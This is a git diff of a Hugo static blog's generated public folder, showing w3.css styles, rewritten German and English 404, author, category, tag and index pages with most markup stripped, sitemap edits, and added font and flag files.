animateright{from{right:-300px;opacity:0} to{right:0;opacity:1}} +.w3-animate-bottom{position:relative;animation:animatebottom 0.4s}@keyframes animatebottom{from{bottom:-300px;opacity:0} to{bottom:0;opacity:1}} +.w3-animate-zoom {animation:animatezoom 0.6s}@keyframes animatezoom{from{transform:scale(0)} to{transform:scale(1)}} +.w3-animate-input{transition:width 0.4s ease-in-out}.w3-animate-input:focus{width:100%!important} +.w3-opacity,.w3-hover-opacity:hover{opacity:0.60}.w3-opacity-off,.w3-hover-opacity-off:hover{opacity:1} +.w3-opacity-max{opacity:0.25}.w3-opacity-min{opacity:0.75} +.w3-greyscale-max,.w3-grayscale-max,.w3-hover-greyscale:hover,.w3-hover-grayscale:hover{filter:grayscale(100%)} +.w3-greyscale,.w3-grayscale{filter:grayscale(75%)}.w3-greyscale-min,.w3-grayscale-min{filter:grayscale(50%)} +.w3-sepia{filter:sepia(75%)}.w3-sepia-max,.w3-hover-sepia:hover{filter:sepia(100%)}.w3-sepia-min{filter:sepia(50%)} +.w3-tiny{font-size:10px!important}.w3-small{font-size:12px!important}.w3-medium{font-size:15px!important}.w3-large{font-size:18px!important} +.w3-xlarge{font-size:24px!important}.w3-xxlarge{font-size:36px!important}.w3-xxxlarge{font-size:48px!important}.w3-jumbo{font-size:64px!important} +.w3-left-align{text-align:left!important}.w3-right-align{text-align:right!important}.w3-justify{text-align:justify!important}.w3-center{text-align:center!important} +.w3-border-0{border:0!important}.w3-border{border:1px solid #ccc!important} +.w3-border-top{border-top:1px solid #ccc!important}.w3-border-bottom{border-bottom:1px solid #ccc!important} +.w3-border-left{border-left:1px solid #ccc!important}.w3-border-right{border-right:1px solid #ccc!important} +.w3-topbar{border-top:6px solid #ccc!important}.w3-bottombar{border-bottom:6px solid #ccc!important} +.w3-leftbar{border-left:6px solid #ccc!important}.w3-rightbar{border-right:6px solid #ccc!important} +.w3-section,.w3-code{margin-top:16px!important;margin-bottom:16px!important} +.w3-margin{margin:16px!important}.w3-margin-top{margin-top:16px!important}.w3-margin-bottom{margin-bottom:16px!important} +.w3-margin-left{margin-left:16px!important}.w3-margin-right{margin-right:16px!important} +.w3-padding-small{padding:4px 8px!important}.w3-padding{padding:8px 16px!important}.w3-padding-large{padding:12px 24px!important} +.w3-padding-16{padding-top:16px!important;padding-bottom:16px!important}.w3-padding-24{padding-top:24px!important;padding-bottom:24px!important} +.w3-padding-32{padding-top:32px!important;padding-bottom:32px!important}.w3-padding-48{padding-top:48px!important;padding-bottom:48px!important} +.w3-padding-64{padding-top:64px!important;padding-bottom:64px!important} +.w3-left{float:left!important}.w3-right{float:right!important} +.w3-button:hover{color:#000!important;background-color:#ccc!important} +.w3-transparent,.w3-hover-none:hover{background-color:transparent!important} +.w3-hover-none:hover{box-shadow:none!important} +/* Colors */ +.w3-amber,.w3-hover-amber:hover{color:#000!important;background-color:#ffc107!important} +.w3-aqua,.w3-hover-aqua:hover{color:#000!important;background-color:#00ffff!important} +.w3-blue,.w3-hover-blue:hover{color:#fff!important;background-color:#2196F3!important} +.w3-light-blue,.w3-hover-light-blue:hover{color:#000!important;background-color:#87CEEB!important} +.w3-brown,.w3-hover-brown:hover{color:#fff!important;background-color:#795548!important} +.w3-cyan,.w3-hover-cyan:hover{color:#000!important;background-color:#00bcd4!important} +.w3-blue-grey,.w3-hover-blue-grey:hover,.w3-blue-gray,.w3-hover-blue-gray:hover{color:#fff!important;background-color:#607d8b!important} +.w3-green,.w3-hover-green:hover{color:#fff!important;background-color:#4CAF50!important} +.w3-light-green,.w3-hover-light-green:hover{color:#000!important;background-color:#8bc34a!important} +.w3-indigo,.w3-hover-indigo:hover{color:#fff!important;background-color:#3f51b5!important} +.w3-khaki,.w3-hover-khaki:hover{color:#000!important;background-color:#f0e68c!important} +.w3-lime,.w3-hover-lime:hover{color:#000!important;background-color:#cddc39!important} +.w3-orange,.w3-hover-orange:hover{color:#000!important;background-color:#ff9800!important} +.w3-deep-orange,.w3-hover-deep-orange:hover{color:#fff!important;background-color:#ff5722!important} +.w3-pink,.w3-hover-pink:hover{color:#fff!important;background-color:#e91e63!important} +.w3-purple,.w3-hover-purple:hover{color:#fff!important;background-color:#9c27b0!important} +.w3-deep-purple,.w3-hover-deep-purple:hover{color:#fff!important;background-color:#673ab7!important} +.w3-red,.w3-hover-red:hover{color:#fff!important;background-color:#f44336!important} +.w3-sand,.w3-hover-sand:hover{color:#000!important;background-color:#fdf5e6!important} +.w3-teal,.w3-hover-teal:hover{color:#fff!important;background-color:#009688!important} +.w3-yellow,.w3-hover-yellow:hover{color:#000!important;background-color:#ffeb3b!important} +.w3-white,.w3-hover-white:hover{color:#000!important;background-color:#fff!important} +.w3-black,.w3-hover-black:hover{color:#fff!important;background-color:#000!important} +.w3-grey,.w3-hover-grey:hover,.w3-gray,.w3-hover-gray:hover{color:#000!important;background-color:#9e9e9e!important} +.w3-light-grey,.w3-hover-light-grey:hover,.w3-light-gray,.w3-hover-light-gray:hover{color:#000!important;background-color:#f1f1f1!important} +.w3-dark-grey,.w3-hover-dark-grey:hover,.w3-dark-gray,.w3-hover-dark-gray:hover{color:#fff!important;background-color:#616161!important} +.w3-pale-red,.w3-hover-pale-red:hover{color:#000!important;background-color:#ffdddd!important} +.w3-pale-green,.w3-hover-pale-green:hover{color:#000!important;background-color:#ddffdd!important} +.w3-pale-yellow,.w3-hover-pale-yellow:hover{color:#000!important;background-color:#ffffcc!important} +.w3-pale-blue,.w3-hover-pale-blue:hover{color:#000!important;background-color:#ddffff!important} +.w3-text-amber,.w3-hover-text-amber:hover{color:#ffc107!important} +.w3-text-aqua,.w3-hover-text-aqua:hover{color:#00ffff!important} +.w3-text-blue,.w3-hover-text-blue:hover{color:#2196F3!important} +.w3-text-light-blue,.w3-hover-text-light-blue:hover{color:#87CEEB!important} +.w3-text-brown,.w3-hover-text-brown:hover{color:#795548!important} +.w3-text-cyan,.w3-hover-text-cyan:hover{color:#00bcd4!important} +.w3-text-blue-grey,.w3-hover-text-blue-grey:hover,.w3-text-blue-gray,.w3-hover-text-blue-gray:hover{color:#607d8b!important} +.w3-text-green,.w3-hover-text-green:hover{color:#4CAF50!important} +.w3-text-light-green,.w3-hover-text-light-green:hover{color:#8bc34a!important} +.w3-text-indigo,.w3-hover-text-indigo:hover{color:#3f51b5!important} +.w3-text-khaki,.w3-hover-text-khaki:hover{color:#b4aa50!important} +.w3-text-lime,.w3-hover-text-lime:hover{color:#cddc39!important} +.w3-text-orange,.w3-hover-text-orange:hover{color:#ff9800!important} +.w3-text-deep-orange,.w3-hover-text-deep-orange:hover{color:#ff5722!important} +.w3-text-pink,.w3-hover-text-pink:hover{color:#e91e63!important} +.w3-text-purple,.w3-hover-text-purple:hover{color:#9c27b0!important} +.w3-text-deep-purple,.w3-hover-text-deep-purple:hover{color:#673ab7!important} +.w3-text-red,.w3-hover-text-red:hover{color:#f44336!important} +.w3-text-sand,.w3-hover-text-sand:hover{color:#fdf5e6!important} +.w3-text-teal,.w3-hover-text-teal:hover{color:#009688!important} +.w3-text-yellow,.w3-hover-text-yellow:hover{color:#d2be0e!important} +.w3-text-white,.w3-hover-text-white:hover{color:#fff!important} +.w3-text-black,.w3-hover-text-black:hover{color:#000!important} +.w3-text-grey,.w3-hover-text-grey:hover,.w3-text-gray,.w3-hover-text-gray:hover{color:#757575!important} +.w3-text-light-grey,.w3-hover-text-light-grey:hover,.w3-text-light-gray,.w3-hover-text-light-gray:hover{color:#f1f1f1!important} +.w3-text-dark-grey,.w3-hover-text-dark-grey:hover,.w3-text-dark-gray,.w3-hover-text-dark-gray:hover{color:#3a3a3a!important} +.w3-border-amber,.w3-hover-border-amber:hover{border-color:#ffc107!important} +.w3-border-aqua,.w3-hover-border-aqua:hover{border-color:#00ffff!important} +.w3-border-blue,.w3-hover-border-blue:hover{border-color:#2196F3!important} +.w3-border-light-blue,.w3-hover-border-light-blue:hover{border-color:#87CEEB!important} +.w3-border-brown,.w3-hover-border-brown:hover{border-color:#795548!important} +.w3-border-cyan,.w3-hover-border-cyan:hover{border-color:#00bcd4!important} +.w3-border-blue-grey,.w3-hover-border-blue-grey:hover,.w3-border-blue-gray,.w3-hover-border-blue-gray:hover{border-color:#607d8b!important} +.w3-border-green,.w3-hover-border-green:hover{border-color:#4CAF50!important} +.w3-border-light-green,.w3-hover-border-light-green:hover{border-color:#8bc34a!important} +.w3-border-indigo,.w3-hover-border-indigo:hover{border-color:#3f51b5!important} +.w3-border-khaki,.w3-hover-border-khaki:hover{border-color:#f0e68c!important} +.w3-border-lime,.w3-hover-border-lime:hover{border-color:#cddc39!important} +.w3-border-orange,.w3-hover-border-orange:hover{border-color:#ff9800!important} +.w3-border-deep-orange,.w3-hover-border-deep-orange:hover{border-color:#ff5722!important} +.w3-border-pink,.w3-hover-border-pink:hover{border-color:#e91e63!important} +.w3-border-purple,.w3-hover-border-purple:hover{border-color:#9c27b0!important} +.w3-border-deep-purple,.w3-hover-border-deep-purple:hover{border-color:#673ab7!important} +.w3-border-red,.w3-hover-border-red:hover{border-color:#f44336!important} +.w3-border-sand,.w3-hover-border-sand:hover{border-color:#fdf5e6!important} +.w3-border-teal,.w3-hover-border-teal:hover{border-color:#009688!important} +.w3-border-yellow,.w3-hover-border-yellow:hover{border-color:#ffeb3b!important} +.w3-border-white,.w3-hover-border-white:hover{border-color:#fff!important} +.w3-border-black,.w3-hover-border-black:hover{border-color:#000!important} +.w3-border-grey,.w3-hover-border-grey:hover,.w3-border-gray,.w3-hover-border-gray:hover{border-color:#9e9e9e!important} +.w3-border-light-grey,.w3-hover-border-light-grey:hover,.w3-border-light-gray,.w3-hover-border-light-gray:hover{border-color:#f1f1f1!important} +.w3-border-dark-grey,.w3-hover-border-dark-grey:hover,.w3-border-dark-gray,.w3-hover-border-dark-gray:hover{border-color:#616161!important} +.w3-border-pale-red,.w3-hover-border-pale-red:hover{border-color:#ffe7e7!important}.w3-border-pale-green,.w3-hover-border-pale-green:hover{border-color:#e7ffe7!important} +.w3-border-pale-yellow,.w3-hover-border-pale-yellow:hover{border-color:#ffffcc!important}.w3-border-pale-blue,.w3-hover-border-pale-blue:hover{border-color:#e7ffff!important} \ No newline at end of file diff --git a/public/de/404.html b/public/de/404.html index 76636342..5348a362 100644 --- a/public/de/404.html +++ b/public/de/404.html @@ -1,180 +1,17 @@ - - - - - - - - - - - 404 Page not found | Mein cooler neuer Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- -
-

Mein cooler neuer Blog

- - Hallo Welt! Dies ist der epischste Untertitel aller Zeiten. - -
- - - - -
- - -
-
-
- - -
- - -
-
- - - - -
-
-

WOAH BUDDY!

-

-

This is definitly not the page you're looking for...

-

An Error 404 occured. That means the page is not available.

-

Please select a category at the bottom or change over to the HOMEPAGE.

-
-
-
-
- -
- - -
-
- - -
- Neuste Beiträge -
    - -
-
- - - - -
- -
- Social media - - - - - - - - - - - - - - - - - - - - -
- - - -
-
-
- - - - - - + + + + + + + + 404 Page not found | Mein cooler neuer Blog + + + + + + - - - - - - - - - - - - - - - - - - - - - - - - - + + +
+ + +
+
+ +
+
+

+

+ +
+
+ +
+
+ +
+ + \ No newline at end of file diff --git a/public/de/author/index.html b/public/de/author/index.html index 544d8935..d8d512e6 100644 --- a/public/de/author/index.html +++ b/public/de/author/index.html @@ -1,171 +1,18 @@ - - - - - - - - - - - Author | Mein cooler neuer Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- -
-

Mein cooler neuer Blog

- - Hallo Welt! Dies ist der epischste Untertitel aller Zeiten. - -
- - - - -
- - -
-
-
- - -
- - - - - - - -
- - -
-
- - -
- Neuste Beiträge -
    - -
-
- - - - -
- -
- Social media - - - - - - - - - - - - - - - - - - - - -
- - - -
-
-
- - - - - - + + + + + + + + Author | Mein cooler neuer Blog + + + + + + + + + +
+ + +
+
+ +
+
+

Author

+ +
+
+ +
+
+ - - - - - - - - - - - - - - - - - - - - - - - - +
+
+ +
+ + \ No newline at end of file diff --git a/themes/public/de/author/page/1/index.html b/public/de/author/page/1/index.xml/index.html similarity index 100% rename from themes/public/de/author/page/1/index.html rename to public/de/author/page/1/index.xml/index.html diff --git a/public/de/categories/index.html b/public/de/categories/index.html index 52997878..2b9715de 100644 --- a/public/de/categories/index.html +++ b/public/de/categories/index.html @@ -1,171 +1,18 @@ - - - - - - - - - - - Categories | Mein cooler neuer Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- -
-

Mein cooler neuer Blog

- - Hallo Welt! Dies ist der epischste Untertitel aller Zeiten. - -
- - - - -
- - -
-
-
- - -
- - - - - - - -
- - -
-
- - -
- Neuste Beiträge -
    - -
-
- - - - -
- -
- Social media - - - - - - - - - - - - - - - - - - - - -
- - - -
-
-
- - - - - - + + + + + + + + Categories | Mein cooler neuer Blog + + + + + + + + + +
+ + +
+
+ +
+
+

Categories

+ +
+
+ +
+
+ - - - - - - - - - - - - - - - - - - - - - - - - +
+
+ +
+ + \ No newline at end of file diff --git a/themes/public/de/categories/page/1/index.html b/public/de/categories/page/1/index.xml/index.html similarity index 100% rename from themes/public/de/categories/page/1/index.html rename to public/de/categories/page/1/index.xml/index.html diff --git a/public/de/index.html b/public/de/index.html index 3d5ecf9b..0f1ddc5a 100644 --- a/public/de/index.html +++ b/public/de/index.html @@ -1,175 +1,19 @@ - - - - - - - - - - - Hallo Welt! Dies ist der epischste Untertitel aller Zeiten. | Mein cooler neuer Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- -
-

Mein cooler neuer Blog

- - Hallo Welt! Dies ist der epischste Untertitel aller Zeiten. - -
- - - - -
- - -
-
-
- - -
- - - - - - - - - - - -
- - -
-
- - -
- Neuste Beiträge -
    - -
-
- - - - -
- -
- Social media - - - - - - - - - - - - - - - - - - - - -
- - - -
-
-
- - - - - - + + + + + + + + + Mein cooler neuer Blog + + + + + + + + + +
+ + +
+
+ +
+
+
¯\_(ツ)_/¯
+

+

(), .

+

+
+
+ - - - - - - - - - - - - - - - - - - - - - - - - +
+
+ +
+ + \ No newline at end of file diff --git a/themes/public/de/page/1/index.html b/public/de/page/1/index.xml/index.html similarity index 100% rename from themes/public/de/page/1/index.html rename to public/de/page/1/index.xml/index.html diff --git a/public/de/sitemap.xml b/public/de/sitemap.xml index f4f6b271..6ef1ed1f 100644 --- a/public/de/sitemap.xml +++ b/public/de/sitemap.xml @@ -4,7 +4,6 @@ https://h.cowbay.org/de/author/ - 0 https://h.cowbay.org/de/categories/ - 0 https://h.cowbay.org/de/ - 0 https://h.cowbay.org/de/tags/ - 0 - - - - - - - - - - Tags | Mein cooler neuer Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- -
-

Mein cooler neuer Blog

- - Hallo Welt! Dies ist der epischste Untertitel aller Zeiten. - -
- - - - -
- - -
-
-
- - -
- - - - - - - -
- - -
-
- - -
- Neuste Beiträge -
    - -
-
- - - - -
- -
- Social media - - - - - - - - - - - - - - - - - - - - -
- - - -
-
-
- - - - - - + + + + + + + + Tags | Mein cooler neuer Blog + + + + + + + + + +
+ + +
+
+ +
+
+

Tags

+ +
+
+ +
+
+ - - - - - - - - - - - - - - - - - - - - - - - - +
+
+ +
+ + \ No newline at end of file diff --git a/themes/public/de/tags/page/1/index.html b/public/de/tags/page/1/index.xml/index.html similarity index 100% rename from themes/public/de/tags/page/1/index.html rename to public/de/tags/page/1/index.xml/index.html diff --git a/public/en/404.html b/public/en/404.html index 2f03f5ac..c25caadb 100644 --- a/public/en/404.html +++ b/public/en/404.html @@ -1,180 +1,17 @@ - - - - - - - - - - - 404 Page not found | MC部落 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- -
-

MC部落

- - What’s the Worst That Could Happen? - -
- - - - -
- - -
-
-
- - -
- - -
-
- - - - -
-
-

WOAH BUDDY!

-

-

This is definitly not the page you're looking for...

-

An Error 404 occured. That means the page is not available.

-

Please select a category at the bottom or change over to the HOMEPAGE.

-
-
-
-
- -
- - -
-
- - -
- Latest posts -
    - -
-
- - - - -
- -
- Social media - - - - - - - - - - - - - - - - - - - - -
- - - -
-
-
- - - - - - + + + + + + + + 404 Page not found | MC部落 + + + + + + - - - - - - - - - - - - - - - - - - - - - - - - - + + +
+ + +
+
+ +
+
+

404 Page not found

+

Sorry, the page you were looking for doesn't exist.

+ Go back to main page +
+
+ +
+
+ +
+ + \ No newline at end of file diff --git a/public/en/author/index.html b/public/en/author/index.html index 824d4b88..8fa0d1c0 100644 --- a/public/en/author/index.html +++ b/public/en/author/index.html @@ -1,171 +1,18 @@ - - - - - - - - - - - Author | MC部落 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- -
-

MC部落

- - What’s the Worst That Could Happen? - -
- - - - -
- - -
-
-
- - -
- - - - - - - -
- - -
-
- - -
- Latest posts -
    - -
-
- - - - -
- -
- Social media - - - - - - - - - - - - - - - - - - - - -
- - - -
-
-
- - - - - - + + + + + + + + Author | MC部落 + + + + + + + + + +
+ + +
+
+ +
+
+

Author

+ +
+
+ +
+
+ - - - - - - - - - - - - - - - - - - - - - - - - +
+
+ +
+ + \ No newline at end of file diff --git a/public/en/author/page/1/index.xml/index.html b/public/en/author/page/1/index.xml/index.html new file mode 100644 index 00000000..386d1669 --- /dev/null +++ b/public/en/author/page/1/index.xml/index.html @@ -0,0 +1 @@ +https://h.cowbay.org/en/author/ \ No newline at end of file diff --git a/public/en/categories/index.html b/public/en/categories/index.html index cd438ee4..4ed34164 100644 --- a/public/en/categories/index.html +++ b/public/en/categories/index.html @@ -1,171 +1,18 @@ - - - - - - - - - - - Categories | MC部落 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- -
-

MC部落

- - What’s the Worst That Could Happen? - -
- - - - -
- - -
-
-
- - -
- - - - - - - -
- - -
-
- - -
- Latest posts -
    - -
-
- - - - -
- -
- Social media - - - - - - - - - - - - - - - - - - - - -
- - - -
-
-
- - - - - - + + + + + + + + Categories | MC部落 + + + + + + + + + +
+ + +
+
+ +
+
+

Categories

+ +
+
+ +
+
+ - - - - - - - - - - - - - - - - - - - - - - - - +
+
+ +
+ + \ No newline at end of file diff --git a/public/en/categories/page/1/index.xml/index.html b/public/en/categories/page/1/index.xml/index.html new file mode 100644 index 00000000..5496fddc --- /dev/null +++ b/public/en/categories/page/1/index.xml/index.html @@ -0,0 +1 @@ +https://h.cowbay.org/en/categories/ \ No newline at end of file diff --git a/public/en/index.html b/public/en/index.html index 2a566b35..0acea7ad 100644 --- a/public/en/index.html +++ b/public/en/index.html @@ -1,175 +1,19 @@ - - - - - - - - - - - What’s the Worst That Could Happen? | MC部落 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- -
-

MC部落

- - What’s the Worst That Could Happen? - -
- - - - -
- - -
-
-
- - -
- - - - - - - - - - - -
- - -
-
- - -
- Latest posts -
    - -
-
- - - - -
- -
- Social media - - - - - - - - - - - - - - - - - - - - -
- - - -
-
-
- - - - - - + + + + + + + + + MC部落 + + + + + + + + + +
+ + +
+
+ +
+
+
¯\_(ツ)_/¯
+

You don't have any posts yet!

+

As posts are added in your mainSection folders (), they'll appear here.

+

Tip: You could change mainSection folders in site config file.

+
+
+ - - - - - - - - - - - - - - - - - - - - - - - - +
+
+ +
+ + \ No newline at end of file diff --git a/public/en/page/1/index.xml/index.html b/public/en/page/1/index.xml/index.html new file mode 100644 index 00000000..7abfde01 --- /dev/null +++ b/public/en/page/1/index.xml/index.html @@ -0,0 +1 @@ +https://h.cowbay.org/en/ \ No newline at end of file diff --git a/public/en/sitemap.xml b/public/en/sitemap.xml index 75fb7504..4b09cd1d 100644 --- a/public/en/sitemap.xml +++ b/public/en/sitemap.xml @@ -4,7 +4,6 @@ https://h.cowbay.org/en/author/ - 0 https://h.cowbay.org/en/categories/ - 0 https://h.cowbay.org/en/ - 0 https://h.cowbay.org/en/tags/ - 0 - - - - - - - - - - Tags | MC部落 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- -
-

MC部落

- - What’s the Worst That Could Happen? - -
- - - - -
- - -
-
-
- - -
- - - - - - - -
- - -
-
- - -
- Latest posts -
    - -
-
- - - - -
- -
- Social media - - - - - - - - - - - - - - - - - - - - -
- - - -
-
-
- - - - - - + + + + + + + + Tags | MC部落 + + + + + + + + + +
+ + +
+
+ +
+
+

Tags

+ +
+
+ +
+
+ - - - - - - - - - - - - - - - - - - - - - - - - +
+
+ +
+ + \ No newline at end of file diff --git a/public/en/tags/page/1/index.xml/index.html b/public/en/tags/page/1/index.xml/index.html new file mode 100644 index 00000000..857718fd --- /dev/null +++ b/public/en/tags/page/1/index.xml/index.html @@ -0,0 +1 @@ +https://h.cowbay.org/en/tags/ \ No newline at end of file diff --git a/public/favicon.ico b/public/favicon.ico new file mode 100644 index 00000000..7138109f Binary files /dev/null and b/public/favicon.ico differ diff --git a/public/flags/1x1/en.svg b/public/flags/1x1/en.svg new file mode 100644 index 00000000..61e5baa5 --- /dev/null +++ b/public/flags/1x1/en.svg @@ -0,0 +1 @@ +en \ No newline at end of file diff --git a/public/flags/4x3/en.svg b/public/flags/4x3/en.svg new file mode 100644 index 00000000..db990888 --- /dev/null +++ b/public/flags/4x3/en.svg @@ -0,0 +1 @@ +Artboard 1en \ No newline at end of file diff --git a/public/font/LatoLatin-Black.eot b/public/font/LatoLatin-Black.eot new file mode 100644 index 00000000..d41103b2 Binary files /dev/null and b/public/font/LatoLatin-Black.eot differ diff --git a/public/font/LatoLatin-Black.ttf b/public/font/LatoLatin-Black.ttf new file mode 100644 index 00000000..45c55e4e Binary files /dev/null and b/public/font/LatoLatin-Black.ttf differ diff --git a/public/font/LatoLatin-Black.woff b/public/font/LatoLatin-Black.woff new file mode 100644 index 00000000..d1e2579b Binary files /dev/null and b/public/font/LatoLatin-Black.woff differ diff --git a/public/font/LatoLatin-Black.woff2 b/public/font/LatoLatin-Black.woff2 new file mode 100644 index 00000000..4127b4d0 Binary files /dev/null and b/public/font/LatoLatin-Black.woff2 differ diff --git a/public/font/LatoLatin-BlackItalic.eot b/public/font/LatoLatin-BlackItalic.eot new file mode 100644 index 00000000..74ea6229 Binary files /dev/null and b/public/font/LatoLatin-BlackItalic.eot differ diff --git a/public/font/LatoLatin-BlackItalic.ttf b/public/font/LatoLatin-BlackItalic.ttf new file mode 100644 index 00000000..76563c22 Binary files /dev/null and b/public/font/LatoLatin-BlackItalic.ttf differ diff --git a/public/font/LatoLatin-BlackItalic.woff b/public/font/LatoLatin-BlackItalic.woff new file mode 100644 index 00000000..142c1c9c Binary files /dev/null and b/public/font/LatoLatin-BlackItalic.woff differ diff --git a/public/font/LatoLatin-BlackItalic.woff2 b/public/font/LatoLatin-BlackItalic.woff2 new file mode 100644 index 00000000..e9862e69 Binary files /dev/null and b/public/font/LatoLatin-BlackItalic.woff2 differ diff --git a/public/font/LatoLatin-Bold.eot b/public/font/LatoLatin-Bold.eot new file mode 100644 index 00000000..d90b47b8 Binary files /dev/null and b/public/font/LatoLatin-Bold.eot differ diff --git a/public/font/LatoLatin-Bold.ttf b/public/font/LatoLatin-Bold.ttf new file mode 100644 index 00000000..c598c24a Binary files /dev/null and b/public/font/LatoLatin-Bold.ttf differ diff --git a/public/font/LatoLatin-Bold.woff b/public/font/LatoLatin-Bold.woff new file mode 100644 index 00000000..cdfcbe0f Binary files /dev/null and b/public/font/LatoLatin-Bold.woff differ diff --git a/public/font/LatoLatin-Bold.woff2 b/public/font/LatoLatin-Bold.woff2 new file mode 100644 index 00000000..2615c853 Binary files /dev/null and b/public/font/LatoLatin-Bold.woff2 differ diff --git a/public/font/LatoLatin-BoldItalic.eot b/public/font/LatoLatin-BoldItalic.eot new file mode 100644 index 00000000..17216efe Binary files /dev/null and b/public/font/LatoLatin-BoldItalic.eot differ diff --git a/public/font/LatoLatin-BoldItalic.ttf b/public/font/LatoLatin-BoldItalic.ttf new file mode 100644 index 00000000..c1f225af Binary files /dev/null and b/public/font/LatoLatin-BoldItalic.ttf differ diff --git a/public/font/LatoLatin-BoldItalic.woff b/public/font/LatoLatin-BoldItalic.woff new file mode 100644 index 00000000..3e683fea Binary files /dev/null and b/public/font/LatoLatin-BoldItalic.woff differ diff --git a/public/font/LatoLatin-BoldItalic.woff2 b/public/font/LatoLatin-BoldItalic.woff2 new file mode 100644 index 00000000..f7bace13 Binary files /dev/null and b/public/font/LatoLatin-BoldItalic.woff2 differ diff --git a/public/font/LatoLatin-Hairline.eot b/public/font/LatoLatin-Hairline.eot new file mode 100644 index 00000000..6fcd8a5a Binary files /dev/null and b/public/font/LatoLatin-Hairline.eot differ diff --git a/public/font/LatoLatin-Hairline.ttf b/public/font/LatoLatin-Hairline.ttf new file mode 100644 index 00000000..5984ab03 Binary files /dev/null and b/public/font/LatoLatin-Hairline.ttf differ diff --git a/public/font/LatoLatin-Hairline.woff b/public/font/LatoLatin-Hairline.woff new file mode 100644 index 00000000..53926043 Binary files /dev/null and b/public/font/LatoLatin-Hairline.woff differ diff --git a/public/font/LatoLatin-Hairline.woff2 b/public/font/LatoLatin-Hairline.woff2 new file mode 100644 index 00000000..820ac0f2 Binary files /dev/null and b/public/font/LatoLatin-Hairline.woff2 differ diff --git a/public/font/LatoLatin-HairlineItalic.eot b/public/font/LatoLatin-HairlineItalic.eot new file mode 100644 index 00000000..bd696e2f Binary files /dev/null and b/public/font/LatoLatin-HairlineItalic.eot differ diff --git a/public/font/LatoLatin-HairlineItalic.ttf b/public/font/LatoLatin-HairlineItalic.ttf new file mode 100644 index 00000000..d7d8753d Binary files /dev/null and b/public/font/LatoLatin-HairlineItalic.ttf differ diff --git a/public/font/LatoLatin-HairlineItalic.woff b/public/font/LatoLatin-HairlineItalic.woff new file mode 100644 index 00000000..bcb96fd4 Binary files /dev/null and b/public/font/LatoLatin-HairlineItalic.woff differ diff --git a/public/font/LatoLatin-HairlineItalic.woff2 b/public/font/LatoLatin-HairlineItalic.woff2 new file mode 100644 index 00000000..69fa81d0 Binary files /dev/null and b/public/font/LatoLatin-HairlineItalic.woff2 differ diff --git a/public/font/LatoLatin-Heavy.eot b/public/font/LatoLatin-Heavy.eot new file mode 100644 index 00000000..d4a5e446 Binary files /dev/null and b/public/font/LatoLatin-Heavy.eot differ diff --git a/public/font/LatoLatin-Heavy.ttf b/public/font/LatoLatin-Heavy.ttf new file mode 100644 index 00000000..6d97505e Binary files /dev/null and b/public/font/LatoLatin-Heavy.ttf differ diff --git a/public/font/LatoLatin-Heavy.woff b/public/font/LatoLatin-Heavy.woff new file mode 100644 index 00000000..82e50276 Binary files /dev/null and b/public/font/LatoLatin-Heavy.woff differ diff --git a/public/font/LatoLatin-Heavy.woff2 b/public/font/LatoLatin-Heavy.woff2 new file mode 100644 index 00000000..24bc6faa Binary files /dev/null and b/public/font/LatoLatin-Heavy.woff2 differ diff --git a/public/font/LatoLatin-HeavyItalic.eot b/public/font/LatoLatin-HeavyItalic.eot new file mode 100644 index 00000000..6ffd2b5d Binary files /dev/null and b/public/font/LatoLatin-HeavyItalic.eot differ diff --git a/public/font/LatoLatin-HeavyItalic.ttf b/public/font/LatoLatin-HeavyItalic.ttf new file mode 100644 index 00000000..4f91d036 Binary files /dev/null and b/public/font/LatoLatin-HeavyItalic.ttf differ diff --git a/public/font/LatoLatin-HeavyItalic.woff b/public/font/LatoLatin-HeavyItalic.woff new file mode 100644 index 00000000..d588f6fd Binary files /dev/null and b/public/font/LatoLatin-HeavyItalic.woff differ diff --git a/public/font/LatoLatin-HeavyItalic.woff2 b/public/font/LatoLatin-HeavyItalic.woff2 new file mode 100644 index 00000000..0a95552b Binary files /dev/null and b/public/font/LatoLatin-HeavyItalic.woff2 differ diff --git a/public/font/LatoLatin-Italic.eot b/public/font/LatoLatin-Italic.eot new file mode 100644 index 00000000..403b9a5b Binary files /dev/null and b/public/font/LatoLatin-Italic.eot differ diff --git a/public/font/LatoLatin-Italic.ttf b/public/font/LatoLatin-Italic.ttf new file mode 100644 index 00000000..c61fc07c Binary files /dev/null and b/public/font/LatoLatin-Italic.ttf differ diff --git a/public/font/LatoLatin-Italic.woff b/public/font/LatoLatin-Italic.woff new file mode 100644 index 00000000..d8cf84c8 Binary files /dev/null and b/public/font/LatoLatin-Italic.woff differ diff --git a/public/font/LatoLatin-Italic.woff2 b/public/font/LatoLatin-Italic.woff2 new file mode 100644 index 00000000..aaa5a35c Binary files /dev/null and b/public/font/LatoLatin-Italic.woff2 differ diff --git a/public/font/LatoLatin-Light.eot b/public/font/LatoLatin-Light.eot new file mode 100644 index 00000000..865537d9 Binary files /dev/null and b/public/font/LatoLatin-Light.eot differ diff --git a/public/font/LatoLatin-Light.ttf b/public/font/LatoLatin-Light.ttf new file mode 100644 index 00000000..6af1b85d Binary files /dev/null and b/public/font/LatoLatin-Light.ttf differ diff --git a/public/font/LatoLatin-Light.woff b/public/font/LatoLatin-Light.woff new file mode 100644 index 00000000..e7d4278c Binary files /dev/null and b/public/font/LatoLatin-Light.woff differ diff --git a/public/font/LatoLatin-Light.woff2 b/public/font/LatoLatin-Light.woff2 new file mode 100644 index 00000000..b6d02883 Binary files /dev/null and b/public/font/LatoLatin-Light.woff2 differ diff --git a/public/font/LatoLatin-LightItalic.eot b/public/font/LatoLatin-LightItalic.eot new file mode 100644 index 00000000..52ee50c8 Binary files /dev/null and b/public/font/LatoLatin-LightItalic.eot differ diff --git a/public/font/LatoLatin-LightItalic.ttf b/public/font/LatoLatin-LightItalic.ttf new file mode 100644 index 00000000..b8810365 Binary files /dev/null and b/public/font/LatoLatin-LightItalic.ttf differ diff --git 